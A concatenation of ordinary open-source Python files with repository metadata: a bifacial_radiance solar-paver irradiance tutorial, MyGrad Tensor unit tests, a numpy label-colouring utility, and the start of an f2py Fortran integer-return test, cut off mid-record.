demo.getSingleTimestampTrackerAngle(metdata, timeindex=timeindex, gcr=gcr, \n                                   azimuth=180, axis_tilt=0, \n                                   limit_angle=60, backtrack=True)\n# create a scene with all the variables\nsceneDict = {'tilt':tilt,'gcr': gcr,'hub_height':hub_height,'azimuth':azimuth_ang, 'module_type':moduletype, 'nMods': nMods, 'nRows': nRows}  \nscene = demo.makeScene(module=mymodule, sceneDict=sceneDict) #makeScene creates a .rad file with 20 modules per row, 7 rows.\n\n\n# In[9]:\n\n\ntorquetubelength = demo.module.scenex*(nMods) \npitch = demo.module.sceney/gcr\nstartpitch = -pitch * (nRows-1)/2\np_w = 0.947 # m\np_h = 0.092 # m\np_w2 = 0.187 # m\np_h2 = 0.184 # m\noffset_w1y = -(p_w/2)+(p_w2/2)\noffset_w2y = (p_w/2)-(p_w2/2)\n\ncustomObjects = []\nfor i in range (0, nRows):    \n    name='PAVER'+str(i)\n    text='! genbox {} paver{} {} {} {} | xform -t {} {} 0 | xform -t {} 0 0'.format(materialpav, i, \n                                    p_w, torquetubelength, p_h, \n                                    -p_w/2, (-torquetubelength+demo.module.sceney)/2.0,\n                                    startpitch+pitch*i)\n    text += '\\r\\n! genbox {} paverS1{} {} {} {} | xform -t {} {} 0 | xform -t {} 0 0'.format(materialpav, i,\n                                    p_w2, torquetubelength, p_h2, \n                                    -p_w2/2+offset_w1y, (-torquetubelength+demo.module.sceney)/2.0,\n                                    startpitch+pitch*i)\n    text += '\\r\\n! genbox {} paverS2{} {} {} {} | xform -t {} {} 0 | xform -t {} 0 0'.format(materialpav, i,\n                                    p_w2, torquetubelength, p_h2, \n                                    -p_w2/2+offset_w2y, (-torquetubelength+demo.module.sceney)/2.0,\n                                    startpitch+pitch*i)\n\n    customObject = demo.makeCustomObject(name,text)\n    customObjects.append(customObject)\n    demo.appendtoScene(radfile=scene.radfiles, customObject=customObject, text=\"!xform -rz 0\")\n\n\n# In[10]:\n\n\ndemo.makeOct()\n\n\n# You can view the geometry generated in the terminal with:\n# \n# ### rvu -vf views\\front.vp -e .01 -pe 0.01 -vp -5 -14 1 -vd 0 0.9946 -0.1040 tutorial_14.oct\n\n# In[11]:\n\n\n\n## Comment the ! line below to run rvu from the Jupyter notebook instead of your terminal.\n## Simulation will stop until you close the rvu window\n\n#!rvu -vf views\\front.vp -e .01 -pe 0.01 -vp -5 -14 1 -vd 0 0.9946 -0.1040 tutorial_14.oct\n\n\n# In[12]:\n\n\nanalysis = AnalysisObj(octfile, demo.name)  # return an analysis object including the scan dimensions for back irradiance\nfrontscan, backscan = analysis.moduleAnalysis(scene, sensorsy=sensorsy)\nanalysis.analysis(octfile, simulationname+\"_WITHPavers\", frontscan, backscan)  # compare the back vs front irradiance  \nprint(\"Simulation WITH Pavers Finished\")\n\n\n# ## LOOP WITH PAVERS\n\n# In[13]:\n\n\nj=0\nfor timess in range (starttimeindex, endtimeindex):\n    j+=1\n    demo.gendaylit(timess)\n    tilt = demo.getSingleTimestampTrackerAngle(metdata, timeindex=timess, gcr=gcr, \n                                       azimuth=180, axis_tilt=0, \n                                       limit_angle=60, backtrack=True)\n    # create a scene with all the variables\n    sceneDict = {'tilt':tilt,'gcr': gcr,'hub_height':hub_height,'azimuth':azimuth_ang, 'module_type':moduletype, 'nMods': nMods, 'nRows': nRows}  \n    scene = demo.makeScene(mymodule, sceneDict=sceneDict) #makeScene creates a .rad file with 20 modules per row, 7 rows.\n    # Appending Pavers here\n    demo.appendtoScene(radfile=scene.radfiles, customObject=customObjects[0], text=\"!xform -rz 0\")\n    demo.appendtoScene(radfile=scene.radfiles, customObject=customObjects[1], text=\"!xform -rz 0\")\n    demo.appendtoScene(radfile=scene.radfiles, customObject=customObjects[2], text=\"!xform -rz 0\")\n    octfile = demo.makeOct(demo.getfilelist())  # makeOct combines all of the ground, sky and object fil|es into a .oct file\n    frontscan, backscan = analysis.moduleAnalysis(scene, sensorsy=sensorsy)\n    analysis.analysis(octfile, simulationname+\"_WITHPavers_\"+str(j), frontscan, backscan)  # compare the back vs front irradiance  \n    \n\n\n# # RESULTS ANALYSIS NOON\n\n# In[14]:\n\n\ndf_0 = load.read1Result(os.path.join(testfolder, 'results', 'irr_tutorial_14_noPavers.csv'))\ndf_w = load.read1Result(os.path.join(testfolder, 'results', 'irr_tutorial_14_WITHPavers.csv'))                        \n\n\n# In[15]:\n\n\ndf_0\n\n\n# In[16]:\n\n\ndf_w\n\n\n# ## Improvement in Rear Irradiance\n\n# In[17]:\n\n\nround((df_w['Wm2Back'].mean()-df_0['Wm2Back'].mean())*100/df_0['Wm2Back'].mean(),1)\n\n\n# # RESULT ANALYSIS DAY\n\n# In[18]:\n\n\ndf_0 = load.read1Result(os.path.join(testfolder, 'results', 'irr_tutorial_14_noPavers_1.csv'))\ndf_w = load.read1Result(os.path.join(testfolder, 'results', 'irr_tutorial_14_WITHPavers_1.csv'))\n\n\n# In[19]:\n\n\ndf_w\n\n\n# In[20]:\n\n\ndf_0\n\n\n# In[21]:\n\n\nround((df_w['Wm2Back'].mean()-df_0['Wm2Back'].mean())*100/df_0['Wm2Back'].mean(),1)\n\n\n# In[22]:\n\n\naverage_back_d0=[]\naverage_back_dw=[]\naverage_front = []\nhourly_rearirradiance_comparison = []\n\ntimessimulated = endtimeindex-starttimeindex\n\nfor i in range (1, timessimulated+1):\n    df_0 = load.read1Result(os.path.join(testfolder, 'results', 'irr_tutorial_14_noPavers_'+str(i)+'.csv'))\n    df_w = load.read1Result(os.path.join(testfolder, 'results', 'irr_tutorial_14_WITHPavers_'+str(i)+'.csv'))\n    print(round((df_w['Wm2Back'].mean()-df_0['Wm2Back'].mean())*100/df_0['Wm2Back'].mean(),1))\n    hourly_rearirradiance_comparison.append(round((df_w['Wm2Back'].mean()-df_0['Wm2Back'].mean())*100/df_0['Wm2Back'].mean(),1))\n    average_back_d0.append(df_0['Wm2Back'].mean())\n    average_back_dw.append(df_w['Wm2Back'].mean())\n    average_front.append(df_0['Wm2Front'].mean())\n    \n\n\n# In[23]:\n\n\nprint(\"Increase in rear irradiance: \", round((sum(average_back_dw)-sum(average_back_d0))*100/sum(average_back_d0),1))\n\n\n# In[24]:\n\n\nprint(\"BG no Pavers: \", round(sum(average_back_d0)*100/sum(average_front),1))\nprint(\"BG with Pavers: \", round(sum(average_back_dw)*100/sum(average_front),1))\n\n\n# In[27]:\n\n\nimport matplotlib.pyplot as plt\n\n#metdata.datetime[starttime].hour # 7\n#metdata.datetime[endtimeindex].hour # 17\nxax= [7, 8, 9, 10, 11, 12,13,14,15,16,17,18]  # Lazy way to get the x axis...\n\n\n# In[28]:\n\n\nplt.plot(xax,hourly_rearirradiance_comparison)\nplt.ylabel('$\\Delta$ in G$_{rear}$ [%] \\n(G$_{rear-with}$ - G$_{rear-without}$ / G$_{rear-without}$)')\nplt.xlabel('Hour')\n\n", "meta": {"hexsha": "e98bd2f805b3ec049cd9b7bf87af9b10d21f38c1", "size": 11415, "ext": "py", "lang": "Python", "max_stars_repo_path": "docs/tutorials/14 - Advanced topics - Cement Pavers albedo example.py", "max_stars_repo_name": "kperrynrel/bifacial_radiance", "max_stars_repo_head_hexsha": "cf5ae46b4ef93990e3e1619956a186376cb4fd8a", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "docs/tutorials/14 - Advanced topics - Cement Pavers albedo example.py", "max_issues_repo_name": "kperrynrel/bifacial_radiance", "max_issues_repo_head_hexsha": "cf5ae46b4ef93990e3e1619956a186376cb4fd8a", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "docs/tutorials/14 - Advanced topics - Cement Pavers albedo example.py", "max_forks_repo_name": "kperrynrel/bifacial_radiance", "max_forks_repo_head_hexsha": "cf5ae46b4ef93990e3e1619956a186376cb4fd8a", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.8854748603, "max_line_length": 179, "alphanum_fraction": 0.6727113447, "include": true, "reason": "import numpy", "num_tokens": 3476, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3812195662561499, "lm_q2_score": 0.1384617870138417, "lm_q1q2_score": 0.052784342388468145}}
{"text": "from typing import Optional\n\nimport hypothesis.extra.numpy as hnp\nimport hypothesis.strategies as st\nimport numpy as np\nimport pytest\nfrom hypothesis import assume, given, settings\nfrom numpy.testing import assert_array_equal, assert_equal\nfrom pytest import raises\n\nimport mygrad as mg\nfrom mygrad import Tensor\nfrom mygrad.errors import InvalidBackprop\nfrom mygrad.math.misc.ops import MatMul\nfrom mygrad.math.arithmetic.ops import Add, Divide, Multiply, Negative, Power, Subtract\nfrom mygrad.operation_base import Operation\nfrom tests.custom_strategies import tensors, valid_constant_arg\nfrom tests.utils.errors import does_not_raise\n\n\ndef test_simple_default_constant_behavior():\n    assert Tensor(1).constant is True\n    assert Tensor(1.0).constant is False\n\n\n@pytest.mark.parametrize(\n    \"data\",\n    [\n        None,\n        np.array(None, dtype=\"O\"),\n        np.array([[0], [0, 0]], dtype=\"O\"),\n        np.array(1, dtype=\"O\"),\n        0j,\n        np.array(1, dtype=complex),\n    ],\n)\n@given(constant=st.booleans(), creator=st.none() | st.just(MatMul()))\ndef test_input_type_checking(data, constant, creator):\n    with raises(TypeError):\n        Tensor(data, constant=constant, _creator=creator)\n\n\n@pytest.mark.parametrize(\"constant\", [1, (1,), np.array(1.0), \"true\", 0])\ndef test_input_constant_checking(constant):\n    with raises(TypeError):\n        Tensor(1.0, constant=constant)\n\n\n@given(\n    x=hnp.arrays(\n        shape=hnp.array_shapes(min_dims=0, min_side=0), dtype=hnp.floating_dtypes()\n    ),\n    dtype=hnp.floating_dtypes(),\n    copy=st.booleans(),\n    ndmin=st.integers(0, 10),\n)\ndef test_ndmin(x: np.ndarray, copy: bool, dtype, ndmin: int):\n    \"\"\"Ensure Tensor(..., ndmin=<val>) mirrors numpy behavior and\n    produces appropriate view behavior\"\"\"\n    arr = np.array(x, copy=copy, ndmin=ndmin, dtype=dtype)\n    tensor = Tensor(x, copy=copy, ndmin=ndmin, dtype=dtype)\n    assert_equal(tensor, arr)\n\n    # Specifying array(... , ndmin=val) can create an internal\n    # base that the array points to. We want to be sure that\n    # this behavior doesnt manifest in tensor, which should\n    # bot behave as if it is a view\n\n    # check base behavior\n    assert tensor.data.flags.writeable\n    assert tensor.base is None\n    assert tensor[...].base is tensor\n\n    # check mem-lock behavior\n    z = +tensor\n    assert not tensor.data.flags.writeable\n    del z\n    assert tensor.data.flags.writeable\n\n\n@given(\n    x=hnp.arrays(\n        shape=hnp.array_shapes(min_dims=0, min_side=0), dtype=hnp.floating_dtypes()\n    ),\n    constant=st.booleans(),\n    data=st.data(),\n)\ndef test_basic_backward(x: np.ndarray, constant: bool, data: st.DataObject):\n    \"\"\"Ensure Tensor.backward() sets the expected gradient for general array-shape/dtype\"\"\"\n    grad = data.draw(hnp.arrays(shape=x.shape, dtype=x.dtype) | st.none(), label=\"grad\")\n    tensor = Tensor(x, constant=constant)\n    tensor.backward(grad)\n    if tensor.constant:\n        assert tensor.grad is None\n    else:\n        assert_array_equal(\n            tensor.grad, np.ones_like(tensor.data) if grad is None else grad\n        )\n\n    if tensor.grad is not None:\n        assert tensor.dtype == tensor.grad.dtype\n\n\n@given(\n    data=hnp.arrays(shape=hnp.array_shapes(), dtype=hnp.floating_dtypes()),\n    constant=st.booleans(),\n    set_constant=st.booleans() | st.none(),\n    invoke_backward=st.booleans(),\n)\ndef test_copy(data, constant, set_constant, invoke_backward):\n    x = Tensor(data, constant=constant)\n    y = +x\n    if invoke_backward:\n        y.backward()\n    y_copy = y.copy(constant=set_constant)\n\n    if not invoke_backward:\n        assert y.creator is not None\n    assert y.dtype == y_copy.dtype\n    assert y_copy.constant is (constant if set_constant is None else set_constant)\n    if y.grad is None:\n        assert y_copy.grad is None\n    else:\n        assert_array_equal(y.grad, y_copy.grad)\n    assert_array_equal(y.data, y_copy.data)\n\n\n@pytest.mark.parametrize(\"constant\", [True, False])\ndef test_cant_set_constant(constant):\n    tensor = Tensor([1.0], constant=constant)\n    with pytest.raises(AttributeError):\n        tensor.constant = constant\n\n\ndef test_to_scalar():\n    nd_tensor = Tensor([1, 2])\n    with raises(TypeError):\n        float(nd_tensor)\n\n    with raises(TypeError):\n        int(nd_tensor)\n\n    with raises(ValueError):\n        nd_tensor.item()\n\n    for size1_tensor in (Tensor(1), Tensor([[1]])):\n        assert float(size1_tensor) == 1.0\n        assert int(size1_tensor) == 1\n        assert size1_tensor.item() == 1.0\n\n\n@pytest.mark.parametrize(\n    (\"tensor\", \"repr_\"),\n    [\n        (Tensor(1), \"Tensor(1)\"),\n        (Tensor([1]), \"Tensor([1])\"),\n        (Tensor([1, 2]), \"Tensor([1, 2])\"),\n        (\n            mg.arange(9).reshape((3, 3)),\n            \"Tensor([[0, 1, 2],\\n        [3, 4, 5],\\n        [6, 7, 8]])\",\n        ),\n    ],\n)\ndef test_repr(tensor, repr_):\n    assert repr(tensor) == repr_\n\n\n@pytest.mark.parametrize(\"bad_grads\", [\"bad\", 1.0j])\n@given(constant=st.booleans())\ndef test_invalid_gradient_raises(constant: bool, bad_grads):\n    x = Tensor(3.0, constant=constant) * 2\n    with (pytest.raises((TypeError, ValueError)) if not constant else does_not_raise()):\n        x.backward(bad_grads)\n\n\n@pytest.mark.parametrize(\"element\", (0, [0, 1, 2]))\ndef test_contains(element):\n    t = Tensor([[0, 1, 2], [3, 4, 5]])\n    assert (element in t) is (element in t.data)\n\n\n@given(\n    a=hnp.arrays(\n        shape=hnp.array_shapes(max_side=3, max_dims=5),\n        dtype=float,\n        elements=st.floats(-100, 100),\n    ),\n    constant=st.booleans(),\n    creator=st.booleans(),\n)\ndef test_properties(a, constant, creator):\n    array = np.asarray(a)\n    if creator:\n        ref = Add()\n        tensor = Tensor(a, constant=constant, _creator=ref)\n    else:\n        ref = None\n        tensor = Tensor(a, constant=constant)\n\n    assert tensor.ndim == array.ndim\n    assert tensor.shape == array.shape\n    assert tensor.size == array.size\n    assert len(tensor) == len(array)\n    assert tensor.dtype == array.dtype\n    assert_equal(actual=tensor.data, desired=a)\n    assert (not creator) or tensor.creator is ref\n\n\ndef test_init_data():\n    for data in [0, [], (0, 0), ((0, 0), (0, 0)), np.random.rand(3, 4, 2)]:\n        assert_equal(\n            actual=Tensor(data).data,\n            desired=np.asarray(data),\n            err_msg=\"Initialization with non-tensor failed\",\n        )\n        assert_equal(\n            actual=Tensor(Tensor(data)).data,\n            desired=np.asarray(data),\n            err_msg=\"Initialization with tensor failed\",\n        )\n\n\n@given(\n    arr=hnp.arrays(\n        dtype=hnp.floating_dtypes(), shape=hnp.array_shapes(min_side=1, min_dims=1)\n    ),\n    as_tensor=st.booleans(),\n    constant=st.booleans(),\n)\ndef test_tensor_copy_on_init_mirrors_array(\n    arr: np.ndarray, as_tensor: bool, constant: bool\n):\n    x = Tensor(arr, copy=False) if as_tensor else arr\n    tensor = Tensor(x, constant=constant)\n    array = np.array(arr)\n    assert np.shares_memory(tensor, arr) is np.shares_memory(array, arr)\n\n\n@given(\n    x=hnp.arrays(\n        dtype=hnp.floating_dtypes(), shape=hnp.array_shapes(min_side=0, min_dims=0)\n    )\n)\ndef test_init_data_rand(x: np.ndarray):\n    assert_equal(actual=Tensor(x).data, desired=x)\n\n\n@given(\n    x=hnp.arrays(\n        dtype=float,\n        shape=hnp.array_shapes(min_dims=0, min_side=0),\n        elements=st.floats(allow_infinity=False, allow_nan=False),\n    )\n    | st.floats(allow_infinity=False, allow_nan=False)\n    | st.integers(-100, 100)\n)\ndef test_items(x):\n    \"\"\" verify that tensor.item() mirrors array.item()\"\"\"\n    tensor = Tensor(x)\n    try:\n        value = np.asarray(x).item()\n        assert_array_equal(value, tensor.item())\n    except ValueError:\n        with raises(ValueError):\n            tensor.item()\n\n\nop = Add()\ndtype_strat = st.sampled_from(\n    (\n        None,\n        int,\n        float,\n        np.int8,\n        np.int16,\n        np.int32,\n        np.int64,\n        np.float16,\n        np.float32,\n        np.float64,\n    )\n)\ndtype_strat_numpy = st.sampled_from(\n    (np.int8, np.int16, np.int32, np.int64, np.float16, np.float32, np.float64)\n)\n\n\n@given(\n    data=st.data(),\n    creator=st.sampled_from((None, op)),\n    dtype=dtype_strat,\n    numpy_dtype=dtype_strat_numpy,\n    ndmin=st.integers(0, 10),\n    copy=st.none() | st.booleans(),\n)\ndef test_init_params(\n    data,\n    creator,\n    dtype,\n    numpy_dtype,\n    ndmin: int,\n    copy: Optional[bool],\n):\n    \"\"\"Check for bad combinations of init parameters leading to unexpected behavior\"\"\"\n    elements = (\n        (lambda x, y: st.floats(x, y, width=8 * np.dtype(numpy_dtype).itemsize))\n        if np.issubdtype(numpy_dtype, np.floating)\n        else st.integers\n    )\n    array_strat_args = dict(\n        shape=hnp.array_shapes(max_side=3, max_dims=5),\n        dtype=numpy_dtype,\n        elements=elements(-100, 100),\n    )\n    a = data.draw(\n        hnp.arrays(**array_strat_args) | tensors(**array_strat_args),\n        label=\"a\",\n    )\n\n    arr = np.array(a, dtype=dtype, ndmin=ndmin)\n\n    constant = data.draw(valid_constant_arg(arr.dtype), label=\"constant\")\n\n    tensor = Tensor(\n        a,\n        _creator=creator,\n        constant=constant,\n        dtype=dtype,\n        ndmin=ndmin,\n        copy=copy,\n    )\n\n    if constant is None:\n        constant = issubclass(tensor.dtype.type, np.integer)\n\n    assert tensor.creator is creator\n    assert tensor.constant is constant\n    assert tensor.dtype is arr.dtype\n    assert_equal(tensor.data, arr)\n    assert tensor.grad is None\n    assert tensor.base is None\n    assert tensor.ndim >= ndmin\n\n\n@pytest.mark.parametrize(\n    (\"op_name\", \"op\"),\n    [\n        (\"add\", Add),\n        (\"sub\", Subtract),\n        (\"mul\", Multiply),\n        (\"truediv\", Divide),\n        (\"pow\", Power),\n        (\"matmul\", MatMul),\n    ],\n)\n@pytest.mark.parametrize(\"right_op\", [True, False])\n@given(constant_x=st.booleans(), constant_y=st.booleans())\ndef test_special_methods(\n    op_name: str, op: Operation, constant_x: bool, constant_y: bool, right_op: bool\n):\n    if right_op:\n        op_name = \"r\" + op_name\n    op_name = \"__\" + op_name + \"__\"\n    x = Tensor([2.0, 8.0, 5.0], constant=constant_x)\n    y = Tensor([1.0, 3.0, 2.0], constant=constant_y)\n\n    constant = constant_x and constant_y\n    assert hasattr(Tensor, op_name)\n    tensor_out = getattr(Tensor, op_name)(x, y)\n    numpy_out = getattr(np.ndarray, op_name)(x.data, y.data)\n    assert isinstance(tensor_out, Tensor)\n    assert tensor_out.constant is constant\n    assert_equal(tensor_out.data, numpy_out)\n    assert isinstance(tensor_out.creator, op)\n\n    if not right_op:\n        assert tensor_out.creator.variables[0] is x\n        assert tensor_out.creator.variables[1] is y\n    else:\n        assert tensor_out.creator.variables[0] is y\n        assert tensor_out.creator.variables[1] is x\n\n\n@given(\n    x=hnp.arrays(shape=hnp.array_shapes(), dtype=hnp.floating_dtypes()),\n    constant=st.booleans(),\n)\ndef test_pos(x: np.ndarray, constant: bool):\n    assume(np.all(np.isfinite(x)))\n    x = Tensor(x, constant=constant)\n    y = +x\n    assert y.creator.variables[0] is x\n    assert_array_equal(y.data, x.data)\n    assert y.constant is x.constant\n\n\n@given(x=hnp.arrays(shape=hnp.array_shapes(), dtype=hnp.floating_dtypes()))\ndef test_neg(x):\n    assume(np.all(np.isfinite(x)))\n    x = Tensor(x)\n    op_name = \"__neg__\"\n    assert hasattr(Tensor, op_name)\n    tensor_out = getattr(Tensor, \"__neg__\")(x)\n    numpy_out = getattr(np.ndarray, \"__neg__\")(x.data)\n    assert isinstance(tensor_out, Tensor)\n    assert_equal(tensor_out.data, numpy_out)\n    assert isinstance(tensor_out.creator, Negative)\n    assert tensor_out.creator.variables[0] is x\n\n\n@pytest.mark.parametrize(\n    \"op\", (\"__lt__\", \"__le__\", \"__gt__\", \"__ge__\", \"__eq__\", \"__ne__\")\n)\n@given(\n    x=hnp.arrays(\n        shape=hnp.array_shapes(),\n        dtype=hnp.floating_dtypes(),\n        elements=st.floats(-10, 10, width=16),\n    ),\n    x_constant=st.booleans(),\n    y_constant=st.booleans(),\n    data=st.data(),\n)\ndef test_comparison_ops(\n    op: str, x: np.ndarray, x_constant: bool, y_constant: bool, data: st.SearchStrategy\n):\n    y = data.draw(\n        hnp.arrays(shape=x.shape, dtype=x.dtype, elements=st.floats(-10, 10, width=16))\n    )\n    x = Tensor(x, constant=x_constant)\n    y = Tensor(y, constant=y_constant)\n    assert hasattr(Tensor, op), \"`Tensor` is missing the attribute {}\".format(op)\n    tensor_out = getattr(Tensor, op)(x, y)\n    array_out = getattr(np.ndarray, op)(x.data, y.data)\n    assert_equal(actual=tensor_out, desired=array_out)\n\n\n@pytest.mark.parametrize(\n    \"attr\",\n    (\n        \"sum\",\n        \"prod\",\n        \"cumprod\",\n        \"cumsum\",\n        \"mean\",\n        \"std\",\n        \"var\",\n        \"max\",\n        \"min\",\n        \"transpose\",\n        \"squeeze\",\n        \"ravel\",\n    ),\n)\n@given(constant=st.booleans())\ndef test_math_methods(attr: str, constant: bool):\n    x = Tensor([[1.0, 2.0, 3.0], [4.0, 5.0, 6.0]], constant=constant)\n\n    assert hasattr(x, attr)\n    method_out = getattr(x, attr).__call__()\n    function_out = getattr(mg, attr).__call__(x)\n    assert_equal(method_out.data, function_out.data)\n    assert method_out.constant is constant\n    assert type(method_out.creator) is type(function_out.creator)\n\n\n@pytest.mark.parametrize(\n    \"attr\",\n    (\n        \"argmax\",\n        \"argmin\",\n        \"any\",\n    ),\n)\ndef test_numpy_math_methods(attr: str):\n    x = Tensor([[1.0, 2.0, 3.0], [4.0, 5.0, 6.0]])\n\n    assert hasattr(x, attr)\n    method_out = getattr(x, attr).__call__()\n    function_out = getattr(np, attr).__call__(x.data)\n    assert_equal(method_out, function_out)\n    assert_equal(method_out, function_out)\n\n\n@pytest.mark.parametrize(\"op\", (\"moveaxis\", \"swapaxes\"))\n@given(constant=st.booleans())\ndef test_axis_interchange_methods(op: str, constant: bool):\n    x = Tensor([[1.0, 2.0, 3.0], [4.0, 5.0, 6.0]], constant=constant)\n    method_out = getattr(x, op)(0, -1)\n    function_out = getattr(mg, op)(x, 0, -1)\n    assert_equal(method_out.data, function_out.data)\n    assert method_out.constant is constant\n    assert type(method_out.creator) is type(function_out.creator)\n\n\n@given(x=tensors(include_grad=st.booleans()), clear_graph=st.booleans())\ndef test_null_gradients(x: Tensor, clear_graph: bool):\n    with pytest.warns(FutureWarning):\n        x.null_gradients(clear_graph=clear_graph)\n\n\n@given(x=tensors(include_grad=st.booleans()))\ndef test_null_grad(x: Tensor):\n    y = x.null_grad()\n    assert x.grad is None\n    assert y is x\n\n\n@settings(deadline=None)\n@given(\n    x=st.floats(min_value=-1e-6, max_value=1e6),\n    y=st.floats(min_value=-1e-6, max_value=1e6),\n    z=st.floats(min_value=-1e-6, max_value=1e6),\n)\ndef test_clear_graph(x, y, z):\n    x = Tensor(x)\n    y = Tensor(y)\n    z = Tensor(z)\n\n    f = x * y + z\n    g = x + z * f * f\n\n    # check side effects\n    unused = 2 * g - f\n    w = 1 * f\n    assert unused is not None\n\n    w.clear_graph()\n\n    assert len(g._ops) > 0\n    assert g.creator is not None\n    assert len(x._ops) == 0\n    assert len(y._ops) == 0\n    assert len(z._ops) == 0\n    assert len(f._ops) == 0\n    assert x.creator is None\n    assert y.creator is None\n    assert z.creator is None\n    assert f.creator is None\n\n    with raises(InvalidBackprop):\n        g.backward()\n\n\n# Tensor has its `__eq__` but not its `__hash__` overridden which leads to subtle\n# problems if it ends up being used in a hashable context. See\n# https://hynek.me/articles/hashes-and-equality/\n# for more details. This checks to make sure that anyone who does so will get an\n# error. See also https://github.com/rsokl/MyGrad/pull/276\ndef test_no_hash():\n    try:\n        {Tensor(3): \"this should not work\"}\n    except TypeError as e:\n        assert str(e) == \"unhashable type: 'Tensor'\"\n", "meta": {"hexsha": "fc7e678fe14fed21fcd04d8f7d58b5d304dfbea6", "size": 15753, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/tensor_base/test_tensor.py", "max_stars_repo_name": "kw-0/MyGrad", "max_stars_repo_head_hexsha": "307f1bb5f2391e7f4df49fe43a7acf9d1e8ea141", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 147, "max_stars_repo_stars_event_min_datetime": "2018-07-14T01:37:35.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-29T06:37:58.000Z", "max_issues_repo_path": "tests/tensor_base/test_tensor.py", "max_issues_repo_name": "kw-0/MyGrad", "max_issues_repo_head_hexsha": "307f1bb5f2391e7f4df49fe43a7acf9d1e8ea141", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 223, "max_issues_repo_issues_event_min_datetime": "2018-05-31T14:13:18.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-27T18:53:49.000Z", "max_forks_repo_path": "tests/tensor_base/test_tensor.py", "max_forks_repo_name": "kw-0/MyGrad", "max_forks_repo_head_hexsha": "307f1bb5f2391e7f4df49fe43a7acf9d1e8ea141", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 27, "max_forks_repo_forks_event_min_datetime": "2018-06-17T14:42:05.000Z", "max_forks_repo_forks_event_max_datetime": "2021-10-31T00:21:09.000Z", "avg_line_length": 28.3837837838, "max_line_length": 91, "alphanum_fraction": 0.643242557, "include": true, "reason": "import numpy,from numpy", "num_tokens": 4208, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4610167793123159, "lm_q2_score": 0.11436853221906972, "lm_q1q2_score": 0.05272581237831235}}
{"text": "import numpy as np\r\n\r\ndef convert_to_color_(arr_2d, palette=None):\r\n    \"\"\"Convert an array of labels to RGB color-encoded image.\r\n\r\n    Args:\r\n        arr_2d: int 2D array of labels\r\n        palette: dict of colors used (label number -> RGB tuple)\r\n\r\n    Returns:\r\n        arr_3d: int 2D images of color-encoded labels in RGB format\r\n\r\n    \"\"\"\r\n    arr_3d = np.zeros((arr_2d.shape[0], arr_2d.shape[1], 3), dtype=np.uint8)\r\n    if palette is None:\r\n        raise Exception(\"Unknown color palette\")\r\n\r\n    for c, i in palette.items():\r\n        m = arr_2d == c\r\n        arr_3d[m] = i\r\n\r\n    return arr_3d\r\n\r\ndef convert_to_one_hot(Y, C):\r\n    Y = np.eye(C)[Y.reshape(-1)].T\r\n    return Y\r\n\r\n", "meta": {"hexsha": "131b0083e6379c17084cdf62d4e8faabfcac0e81", "size": 689, "ext": "py", "lang": "Python", "max_stars_repo_path": "utils.py", "max_stars_repo_name": "mztmzt/F2HNN", "max_stars_repo_head_hexsha": "0aea91d84d8886cb994de6076081a6c28d11bc47", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2022-01-23T18:23:01.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-17T08:07:06.000Z", "max_issues_repo_path": "utils.py", "max_issues_repo_name": "mztmzt/F2HNN", "max_issues_repo_head_hexsha": "0aea91d84d8886cb994de6076081a6c28d11bc47", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2021-11-23T07:31:27.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-23T18:20:37.000Z", "max_forks_repo_path": "utils.py", "max_forks_repo_name": "mztmzt/F2HNN", "max_forks_repo_head_hexsha": "0aea91d84d8886cb994de6076081a6c28d11bc47", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2022-01-10T11:57:14.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-10T11:57:14.000Z", "avg_line_length": 24.6071428571, "max_line_length": 77, "alphanum_fraction": 0.5994194485, "include": true, "reason": "import numpy", "num_tokens": 196, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4610167793123159, "lm_q2_score": 0.11436853070975536, "lm_q1q2_score": 0.05272581168249311}}
{"text": "__usage__ = \"\"\"\nRun:\n  python return_integer.py [<f2py options>]\nExamples:\n  python return_integer.py --fcompiler=Gnu --no-wrap-functions\n  python return_integer.py --quiet\n\"\"\"\n\nimport numpy.f2py as f2py2e\nfrom numpy import array\n\ndef build(f2py_opts):\n    try:\n        import f77_ext_return_integer\n    except ImportError:\n        assert not f2py2e.compile('''\\\n       function t0(value)\n         integer value\n         integer t0\n         t0 = value\n       end\n       function t1(value)\n         integer*1 value\n         integer*1 t1\n         t1 = value\n       end\n       function t2(value)\n         integer*2 value\n         integer*2 t2\n         t2 = value\n       end\n       function t4(value)\n         integer*4 value\n         integer*4 t4\n         t4 = value\n       end\n       function t8(value)\n         integer*8 value\n         integer*8 t8\n         t8 = value\n       end\n\n       subroutine s0(t0,value)\n         integer value\n         integer t0\ncf2py    intent(out) t0\n         t0 = value\n       end\n       subroutine s1(t1,value)\n         integer*1 value\n         integer*1 t1\ncf2py    intent(out) t1\n         t1 = value\n       end\n       subroutine s2(t2,value)\n         integer*2 value\n         integer*2 t2\ncf2py    intent(out) t2\n         t2 = value\n       end\n       subroutine s4(t4,value)\n         integer*4 value\n         integer*4 t4\ncf2py    intent(out) t4\n         t4 = value\n       end\n       subroutine s8(t8,value)\n         integer*8 value\n         integer*8 t8\ncf2py    intent(out) t8\n         t8 = value\n       